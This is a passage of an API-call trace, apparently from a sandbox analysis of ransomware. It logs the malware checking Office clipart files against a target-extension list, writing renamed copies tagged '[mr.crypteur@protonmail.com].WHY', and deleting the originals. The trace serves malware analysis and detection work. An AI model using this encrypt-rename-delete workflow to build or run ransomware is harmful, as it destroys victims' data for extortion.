[0274.901] CloseHandle (hObject=0x258) returned 1 [0274.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0274.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.903] lstrlenW (lpString=".doc") returned 4 [0274.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.903] lstrlenW (lpString=".docx") returned 5 [0274.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.903] lstrlenW (lpString=".pdf") returned 4 [0274.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.903] lstrlenW (lpString=".xls") returned 4 [0274.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.903] lstrlenW (lpString=".xlsx") returned 5 [0274.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.904] lstrlenW (lpString=".ppt") returned 4 [0274.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.904] lstrlenW (lpString=".zip") returned 4 [0274.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.904] lstrlenW (lpString=".rar") returned 4 [0274.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.904] lstrlenW (lpString=".bz2") returned 4 [0274.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.904] lstrlenW (lpString=".7z") returned 3 [0274.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.904] lstrlenW (lpString=".dbf") returned 4 [0274.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.905] lstrlenW (lpString=".1cd") returned 4 [0274.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.905] lstrlenW (lpString=".jpg") returned 4 [0274.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.905] lstrlenW (lpString=".doc") returned 4 [0274.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.905] lstrlenW (lpString=".docx") returned 5 [0274.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.906] lstrlenW (lpString=".pdf") returned 4 [0274.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.906] lstrlenW (lpString=".xls") returned 4 [0274.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.906] lstrlenW (lpString=".xlsx") returned 5 [0274.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.906] lstrlenW (lpString=".ppt") returned 4 [0274.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.906] lstrlenW (lpString=".zip") returned 4 [0274.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.906] lstrlenW (lpString=".rar") returned 4 [0274.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.906] lstrlenW (lpString=".bz2") returned 4 [0274.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.907] lstrlenW (lpString=".7z") returned 3 [0274.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.907] lstrlenW (lpString=".dbf") returned 4 [0274.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.907] lstrlenW (lpString=".1cd") returned 4 [0274.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0274.907] lstrlenW (lpString=".jpg") returned 4 [0274.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.908] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.908] lstrlenW (lpString="BD09031_.WMF") returned 12 [0274.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0274.909] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=47786) returned 1 [0274.909] CloseHandle (hObject=0x258) returned 1 [0274.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0274.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0274.914] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.914] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0274.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0274.915] GetLastError () returned 0x0 [0274.915] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0275.045] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0275.451] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0275.451] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0275.451] SetEndOfFile (hFile=0x388) returned 1 [0275.651] CloseHandle (hObject=0x388) returned 1 [0275.653] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0275.654] SetEndOfFile (hFile=0x258) returned 1 [0277.560] CloseHandle (hObject=0x258) returned 1 [0277.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0277.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.748] lstrlenW (lpString=".doc") returned 4 [0277.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.748] lstrlenW (lpString=".docx") returned 5 [0277.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.748] lstrlenW (lpString=".pdf") returned 4 [0277.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.748] lstrlenW (lpString=".xls") returned 4 [0277.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.748] lstrlenW (lpString=".xlsx") returned 5 [0277.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.748] lstrlenW (lpString=".ppt") returned 4 [0277.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.749] lstrlenW (lpString=".zip") returned 4 [0277.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.749] lstrlenW (lpString=".rar") returned 4 [0277.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.749] lstrlenW (lpString=".bz2") returned 4 [0277.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.749] lstrlenW (lpString=".7z") returned 3 [0277.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.749] lstrlenW (lpString=".dbf") returned 4 [0277.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.749] lstrlenW (lpString=".1cd") returned 4 [0277.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.750] lstrlenW (lpString=".jpg") returned 4 [0277.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.750] lstrlenW (lpString=".doc") returned 4 [0277.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.750] lstrlenW (lpString=".docx") returned 5 [0277.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.750] lstrlenW (lpString=".pdf") returned 4 [0277.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.751] lstrlenW (lpString=".xls") returned 4 [0277.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.751] lstrlenW (lpString=".xlsx") returned 5 [0277.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.751] lstrlenW (lpString=".ppt") returned 4 [0277.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.751] lstrlenW (lpString=".zip") returned 4 [0277.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.751] lstrlenW (lpString=".rar") returned 4 [0277.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.752] lstrlenW (lpString=".bz2") returned 4 [0277.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.846] lstrlenW (lpString=".7z") returned 3 [0277.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.846] lstrlenW (lpString=".dbf") returned 4 [0277.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.847] lstrlenW (lpString=".1cd") returned 4 [0277.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0277.847] lstrlenW (lpString=".jpg") returned 4 [0277.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.848] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0277.848] lstrlenW (lpString="BD10890_.GIF") returned 12 [0277.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0277.878] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=13515) returned 1 [0277.878] CloseHandle (hObject=0x3b4) returned 1 [0277.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0277.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0277.885] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0277.885] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0277.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0277.886] GetLastError () returned 0x0 [0277.886] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x34cb, lpOverlapped=0x0) returned 1 [0277.952] WriteFile (in: hFile=0x15c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0277.957] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0277.984] WriteFile (in: hFile=0x15c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0277.985] SetEndOfFile (hFile=0x15c) returned 1 [0277.985] CloseHandle (hObject=0x15c) returned 1 [0278.533] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0278.533] SetEndOfFile (hFile=0x3c8) returned 1 [0278.605] CloseHandle (hObject=0x3c8) returned 1 [0278.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0278.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.607] lstrlenW (lpString=".doc") returned 4 [0278.607] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.607] lstrlenW (lpString=".docx") returned 5 [0278.607] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.607] lstrlenW (lpString=".pdf") returned 4 [0278.607] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.607] lstrlenW (lpString=".xls") returned 4 [0278.607] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.607] lstrlenW (lpString=".xlsx") returned 5 [0278.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.607] lstrlenW (lpString=".ppt") returned 4 [0278.608] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.608] lstrlenW (lpString=".zip") returned 4 [0278.608] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.608] lstrlenW (lpString=".rar") returned 4 [0278.608] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.608] lstrlenW (lpString=".bz2") returned 4 [0278.608] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.608] lstrlenW (lpString=".7z") returned 3 [0278.608] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.608] lstrlenW (lpString=".dbf") returned 4 [0278.608] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.608] lstrlenW (lpString=".1cd") returned 4 [0278.608] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.609] lstrlenW (lpString=".jpg") returned 4 [0278.609] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.609] lstrlenW (lpString=".doc") returned 4 [0278.609] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.609] lstrlenW (lpString=".docx") returned 5 [0278.609] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.609] lstrlenW (lpString=".pdf") returned 4 [0278.609] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.609] lstrlenW (lpString=".xls") returned 4 [0278.609] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.610] lstrlenW (lpString=".xlsx") returned 5 [0278.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.815] lstrlenW (lpString=".ppt") returned 4 [0278.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.815] lstrlenW (lpString=".zip") returned 4 [0278.815] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.815] lstrlenW (lpString=".rar") returned 4 [0278.816] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.816] lstrlenW (lpString=".bz2") returned 4 [0278.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.816] lstrlenW (lpString=".7z") returned 3 [0278.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.816] lstrlenW (lpString=".dbf") returned 4 [0278.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.816] lstrlenW (lpString=".1cd") returned 4 [0278.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0278.816] lstrlenW (lpString=".jpg") returned 4 [0278.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.817] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.817] lstrlenW (lpString="BL00008_.WMF") returned 12 [0278.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0278.968] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=12520) returned 1 [0278.968] CloseHandle (hObject=0x38c) returned 1 [0278.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0279.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0279.256] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.256] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0279.258] GetLastError () returned 0x0 [0279.258] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x30e8, lpOverlapped=0x0) returned 1 [0279.328] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0279.334] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0279.334] WriteFile (in: hFile=0x38c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.335] SetEndOfFile (hFile=0x38c) returned 1 [0279.335] CloseHandle (hObject=0x38c) returned 1 [0279.337] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0279.337] SetEndOfFile (hFile=0x3b0) returned 1 [0279.346] CloseHandle (hObject=0x3b0) returned 1 [0279.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0279.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0279.348] lstrlenW (lpString=".doc") returned 